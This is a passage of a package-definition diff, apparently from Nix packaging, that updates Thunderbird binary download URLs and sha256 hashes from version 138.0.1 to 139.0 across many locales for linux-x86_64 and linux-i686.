+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/th/thunderbird-139.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "2759a85d183d2e3543aa7553f3be5db4cafc20ae308c237a24ec6e880b3e849c";
+      sha256 = "d9d4ce5c403865b554f899419cf1606896226857fc811d5002084196ba0afbee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/tr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/tr/thunderbird-139.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "64ed929bcdb833b0f4503e8b18e0f3983dcbed9974e64e99de3280899c0f9873";
+      sha256 = "688e13ed1e9d7f97b1861d51c6fe0e8003e034c6feb391386cb43593ba19ddc7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/uk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/uk/thunderbird-139.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "d0a827e29dd6ea28c7da1e239189d4803c173aafe35ada6cf8519d7a970fb2d3";
+      sha256 = "6a57e4c60b6c75258eaf856c4d680f7e60c4e97908740e7becfa8246e07dab59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/uz/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/uz/thunderbird-139.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "6c2012f2bea9869b96e900d5bb26fc55b7927f5d096029ff209a998adb5bbc11";
+      sha256 = "2eb9707fd675dbecba020a384d52381418642e818693a719d57a2b3a46233ab4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/vi/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/vi/thunderbird-139.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "6d9661ab3aea6472c327ad5ab2627ceb6beb67d92b91c21698d3ee22f54724a8";
+      sha256 = "3d8062756bb67088f492c63abae0196434f1f93bafd42fd6ba31902348a41e13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/zh-CN/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/zh-CN/thunderbird-139.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "418ec9e56842c77071f3685a2ae73136596e93a22c5fd875f5534f5ac672c0f5";
+      sha256 = "43f63eabe89b1eeadb7c6e96f9cfaa9ea1f7a0efc4822ba4322117fd6b489390";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/zh-TW/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/zh-TW/thunderbird-139.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "c0cf4be622372833ab3f9d51ecef1e7d772145be502b7d9a97cb56d9b97f1c6f";
+      sha256 = "23d15794e5ad9d0a656e627b3b480411f22433eb0954ade97a9b6f4327fbec49";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/af/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/af/thunderbird-139.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "e2c47db628d68d639268849d68213d82a062ec82eec7a2e0b07c9e12f6482214";
+      sha256 = "e6df1b5ed2b0f4683228f4c5bc39242b8a9cf5b8a0a250abbbcbb1a78fb88321";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ar/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ar/thunderbird-139.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "793861fbdd418f1632c199f58e3cfe703d0354b0fcc4a8ded4a61b9793ddab7a";
+      sha256 = "14137218644380f9e67a053d61e619767359a8bac3b4036562967aa5e3d5e3de";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ast/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ast/thunderbird-139.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "a66b5113959b41455166555b4da22e2b30984cf8026102ebc25c10dcfec5115f";
+      sha256 = "c6c90de75261b2fe7043129321cd7b0c5c30bda8d286f9cb01d6e9d4f74970a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/be/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/be/thunderbird-139.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "d72c9847333d8948c7b5d8e881329145791a6b5c363bd45731e9972a4aff93a2";
+      sha256 = "ee48b4bcc87601b3e780643eb9352714ba0ac1ab0f554fc90cdaad57555b0863";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/bg/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/bg/thunderbird-139.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "88fea655659504e54f74aa17e9bc4dd40d29f2f697c98fae0b68c77ddb39a4a2";
+      sha256 = "3f76f7db424cd350a0ec3cf0b26305c9805d1559069fab1c656b4f52d983e378";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/br/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/br/thunderbird-139.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "996442f38fc3a2de497cb25fc91d10f2568298e39240ae93a04522515c93af55";
+      sha256 = "618b0da481e6c356fda6b0536dd84c11dcf0a2c73ef7dd9a015683a94bb34751";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ca/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ca/thunderbird-139.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "7935dc9fa50fa7ad994c376175f468a6d74e8618de6801380b8394671043b6f5";
+      sha256 = "3d0879a9be2091a4f72254826624203e2e7d3b3c1bea5ec9a74cb89e3c390654";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/cak/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cak/thunderbird-139.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "d0ba74c8fc5a8f301368a38938c46a8676732dc45dab7c4868363e1340ebca75";
+      sha256 = "fad8eaf3dccf8e50c514118e1dc091a6e19c59dd4c2042ada163cedae0c40858";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/cs/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cs/thunderbird-139.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "4c70ca2c6e16042f1eb4fef918c43bf389b39447f31b5fee713fbfed99cf7a0f";
+      sha256 = "ddc92e4d02b1efa457c94bd13014c434ca74a15cebe25f194e7567309d2ec7da";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/cy/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/cy/thunderbird-139.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "c62154e97241623738b87bca3cb2408f6f0364d0cedf66cb3621590d4593ffe7";
+      sha256 = "2b9fc5863f4211e2f7ad99b5fffef97e931068ea4ab2c0df456482372b7ef80f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/da/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/da/thunderbird-139.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "fba811be171677ae1c3df18ca44455b2c970f0bfc08e354ad57e7d23694df7e5";
+      sha256 = "4f37515f68731ad67f5b6961cf9751f6be7da6f60c317d06486999bec2ad36b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/de/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/de/thunderbird-139.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "f5caddbc7e9ac83590a73dc14496afa1e878d386aac331854c04bb6032587a8e";
+      sha256 = "cd4040c698090036415a80cb170a648b326e4e174df79d57b691ca001ead820a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/dsb/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/dsb/thunderbird-139.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "c97031a8a6cae87dc6bc2e4dca932a88a9a23c82d997614231e2010ec0f17467";
+      sha256 = "cc1e46beb5cdbd2108cc08be2ddffae0a624297220aff479fe09d67ed1a493c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/el/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/el/thunderbird-139.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "ab14f412fe36e1cd6960c263d2c474ea80c7f7639b93d040834210dbf997c81c";
+      sha256 = "5b6f1d105c67fa6229c75023fa318a7ba1c7d76d6da82c12f57d32694e118ea7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/en-CA/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-CA/thunderbird-139.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "a6f70738aeb1202f1e0b88555de146d03feac763399d20fabd5f8892ee5dedfa";
+      sha256 = "f1511ed4b4f441b1c6f339eab3e5fa2664de05c569f069740204acc758823057";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/en-GB/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-GB/thunderbird-139.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "77320c069210f578fd27f5a6cca9ca378bb1ede004ec462740a4f91d475e8b7b";
+      sha256 = "ed758c43c9fbe6a95cc4d08748374270a0c3f4109d076e7eae7de91d95168c21";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/en-US/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/en-US/thunderbird-139.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "06ea548b598fe695a0ace46caeeb8411acf9ec0fb2b884c9127f486a85459bd9";
+      sha256 = "cb3e8bc577d6ebcea0222ea712cd3e5f086bce72f8567444722ff1f17c8d469c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/es-AR/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-AR/thunderbird-139.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "3dfb2bbdf56ccaffe8622cfad900c093256ef27449ed34d34493b695cf5af94e";
+      sha256 = "4c5d67e60326b1eec69d6cf302863d7f521e8c471f7426c97bba404dd3bbec46";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/es-ES/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-ES/thunderbird-139.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "e1449a696809c7dc71f99cfb13b2eacc0b53d5d341f6446e0d73c1005cada388";
+      sha256 = "76d75d7b97815d5acb6a42592a219d5528ee83675c4acd888a1e5d98964545dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/es-MX/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/es-MX/thunderbird-139.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "3cc0e3fe2d6aae3ff4c4923c1a7c18a3cdecbd719d0376a75b321e9e4ae0a5c5";
+      sha256 = "eae45d64869521bad908af05cd595ce5a05c6c53f4d0019c5e8228883c8b907d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/et/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/et/thunderbird-139.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "46a28361d44aaf719c4c894459e32440caa4de49f5d5a002dbb8654aefa1abad";
+      sha256 = "d3b0488a56623e0cc1f156b8a825d21c85ae265ced3bc4a9337a13b2c66c2718";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/eu/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/eu/thunderbird-139.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "7dc8e38d9f9d7feb73413615372acc033935d486bc77e54cfa93550d4de14a82";
+      sha256 = "fff16b5a11f5e959dc5c3b731a9c2e57ac1e8c116ffd1c44f2eb83eb0269c2b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/fi/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fi/thunderbird-139.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "ad0ac62d302c1391b61fbcdfe1a98b8b79c654b7f292b94586c807d13afbc6e5";
+      sha256 = "f45c4c5c8f26e747ef996fee9ff84a1417dcf270c6f2cf66ec6619d6c41a2e18";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/fr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fr/thunderbird-139.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "39b7df4c5dff1cc5123957d4510026d913316508cb04d8309f845cbb98e99f1e";
+      sha256 = "3a832ef894712cc5b6ba874e58545aeb9bb7a60360ef27c544ad624b2a6edb3f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/fy-NL/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/fy-NL/thunderbird-139.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "c8b232c1177c68969dfd256b6fbcf26d976c45251147c47a46293bc56ca89ed1";
+      sha256 = "0252215a25fbe2f87042c6a0010de1e50336c4851e8c388bddd632a32b625898";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ga-IE/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ga-IE/thunderbird-139.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "afb5d8dc4afd2888d1ce55cbfaa68c022d652e419966e01e4fd7d0078abff3e2";
+      sha256 = "01e66dbb8dad8e7dbf83985e9eae32a0ae4abe453a6e15548d813b9c2ce7ce79";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/gd/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/gd/thunderbird-139.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "08bbc41f7a2acf01bd89d57a91681403aad36793908a43aa6fed3875e00e6920";
+      sha256 = "6a40f905994a5ccbe958143ac55fb2b03b2f0046751eab8e1621d67b4b472ae4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/gl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/gl/thunderbird-139.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "2cf7142ff9fd6a783fa4af4d5ed89045ef803b5a7a37d114baad59807734c027";
+      sha256 = "4ab320599ca299326037e78a730fc37d446c1a5f00aa9cea1743138596f13fee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/he/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/he/thunderbird-139.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "5ef3cea0112d39d12ccccfc01b528b3a4247d40bcf8d8984c194d94ac7c16060";
+      sha256 = "1480bf2b6aa48f3419ac95df3d6eb73637e4c920f0380bc0d531224de6c8bef0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/hr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hr/thunderbird-139.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "59a172bf3adde06e4ca8e4a28924fe945e99662df6dc7b8f6644759ac0e8965b";
+      sha256 = "65a667c812826affe4d7734dbea4c5a0fb2ec6e24315545a5339240430d38c1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/hsb/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hsb/thunderbird-139.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "4a4f9ad2ecdc0c9012d433e4f2932b0606e6670cd064847fa00d8f2ca8ec496c";
+      sha256 = "836e26d55a4a58beb5a26650f910e2e522d6fa2b98a3645d3514496d5cbccabe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/hu/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hu/thunderbird-139.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "7847b8aca04fee6ba436670e62c16b5487336127bdb6bf2a26922b1416279586";
+      sha256 = "f5347366588703bf3f98441db56431b4a1903b38cd349ec53be6503a42ac990e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/hy-AM/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/hy-AM/thunderbird-139.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "9f8a01e15323079187b5b4c59665bb1a1458afb39a81ffc0be9cd5af9a60da51";
+      sha256 = "9a9ae5c9bafb90fc22aaf6c3ae22e58eeb0237d1d48c253046a723e993b21591";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/id/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/id/thunderbird-139.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "9cfcd3a5ccc5c4a91e9df3b598918ab31edad8d7e87277a57852939daeedfe1b";
+      sha256 = "0b720169f6fbf34dd8866b6f08669338af02b064461244e73dc02e2d47b540be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/is/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/is/thunderbird-139.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "9a935f74deb5eec502800c3e154d7a093c7eb1119a39ac8f0e49e8b9359b0bf7";
+      sha256 = "b4e032102c3f066d7168d80823c4acd8a723a1efc2d54fcb627e47b27836b8c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/it/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/it/thunderbird-139.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "7f7b01bfad09ad5380af4a35b4f83dd4f43150aaeea5d40a61fc019c5db70a58";
+      sha256 = "c80fa59aaf1d5ad7ce9ff12733e4ecc2fb3740e8aa8fa68e57c5cc275a84a0ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ja/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ja/thunderbird-139.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "d84f431eab26f51e49c2dd7fe5150fe6398aa08363faa7cb1fbd5ed442468536";
+      sha256 = "dba5e61bf92c5e1de64dd53cd768cc3d4f8621d0efd8104a068f9022dd40fd08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ka/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ka/thunderbird-139.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "bfe0e4d68c8c79ff86fe1f48b37adb54fd68edb84ab75ee2c840687ceacb2ce6";
+      sha256 = "0284d175b41c074ba864a035dd31765bd7593c0d8524d468f20ed43115f60d92";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/kab/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/kab/thunderbird-139.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "d53199af37f8fb6b0b1f28b1159500be226fe07f040cb99d9ac484807abb7cad";
+      sha256 = "b0f1741667b9a3ca0cf6122e043361763401d6351e9c53679ee5ff3ce4a92d13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/kk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/kk/thunderbird-139.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "5b9082954c5fc81d58415883e3d1cbf598e4e048fab78a153f10304789aeb4e3";
+      sha256 = "1e9b291160b8a901955ca830c37927c4c07115ad6afc503bcfbf76eee8d1a77e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ko/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ko/thunderbird-139.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "7560daed426c866f6e08dc6d799341dc390de391e26e12fe7b9aed5c4fa3b175";
+      sha256 = "d376f06222f27eab6d50b91c36e06fec09efbe75479c4e0461b5f9b9344a76ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/lt/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/lt/thunderbird-139.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "1c537135a2b6fa170a396e640f4a52d654095f790a4846ebb78115a8a0594429";
+      sha256 = "24523eae3d11246032dfda9bdf3416aa5fab19332cd30d64ef631ee8837af8ea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/lv/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/lv/thunderbird-139.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "f8d2233a7d992e2bbc6da2f903dd64a67ffbf6af472421fb7ff55c5b298b6178";
+      sha256 = "69a290d9fd1b227f007d6154868fb73ed0099704c0238ec11f560126dca6aedc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ms/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ms/thunderbird-139.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "71a0e722f0b0f00d62ed301517c4e06a868a3d2db6c3edc42c999f2b1a9f1552";
+      sha256 = "7bfd003d7ce6966bf2d61703ff986d7d22dd2fdcff975b0bff2bb995deca21e2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/nb-NO/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nb-NO/thunderbird-139.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "3eb35e25aaf92496947b2c719f414d0b1e5f708884213e380eafc291c5cfa0e8";
+      sha256 = "55adb9926dca7153895c3dfe4758bce54ae6930f1bf81af1bd71f718b7bcf064";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/nl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nl/thunderbird-139.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "bca190672fcb0fc3ea95e3cb4e011d102ea80ccaea74099a726704cd9e3cf794";
+      sha256 = "bb9486fff0daf01972b63fe12b53828bc27c1bf9a617b3fc3d34e67458fe0d4f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/nn-NO/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/nn-NO/thunderbird-139.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "4403a003a05d4677e8de524532f93eb4ea2202d915527cc30961197be4e6ad35";
+      sha256 = "34da26b4048a0942ea13225fdf427ad16c86508812c3fc5e6aec44f78323dba9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/pa-IN/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pa-IN/thunderbird-139.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "ce7bd32e48e1b77fda60ddbfc21ad13adbaed94fad9b6135139b3e03421f3076";
+      sha256 = "9816726ab770efe86cc826df157174df695021bf51f1966115337238dc0298cf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/pl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pl/thunderbird-139.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "87da5768d12cd03ef87f48d0b6a8838827324a4d5dbbfc6a0fd9025b602ce9e5";
+      sha256 = "a22df85fb46cf0ab9453bc4785656ebc791c96940231726622bfb0147d350785";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/pt-BR/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pt-BR/thunderbird-139.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "4b9039b2a6e26eb42bd6b1938a5ff1e45eb6dac9571030c7587bf9a7740e237b";
+      sha256 = "8fcb3cf417fcb53db3c4a3b69dc84b55a683f2718c233c2d845baa2495b93605";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/pt-PT/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pt-PT/thunderbird-139.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "5ee608b291985adf2db7d19b03a9fc6843bfca555947607c9ac17b267c54b40b";
+      sha256 = "b560c4e55cc27aa479ff8625d6b821b070a292bfd175cb15c0b7c6ff222d6e80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/rm/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/rm/thunderbird-139.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "3a6938191b9f1d02a70aea6a681a3c93099715534f156f774ff6518a1a424b15";
+      sha256 = "582d287e7b294be741bcae607ab92acc33972470188a79d35a6a342331d2af10";
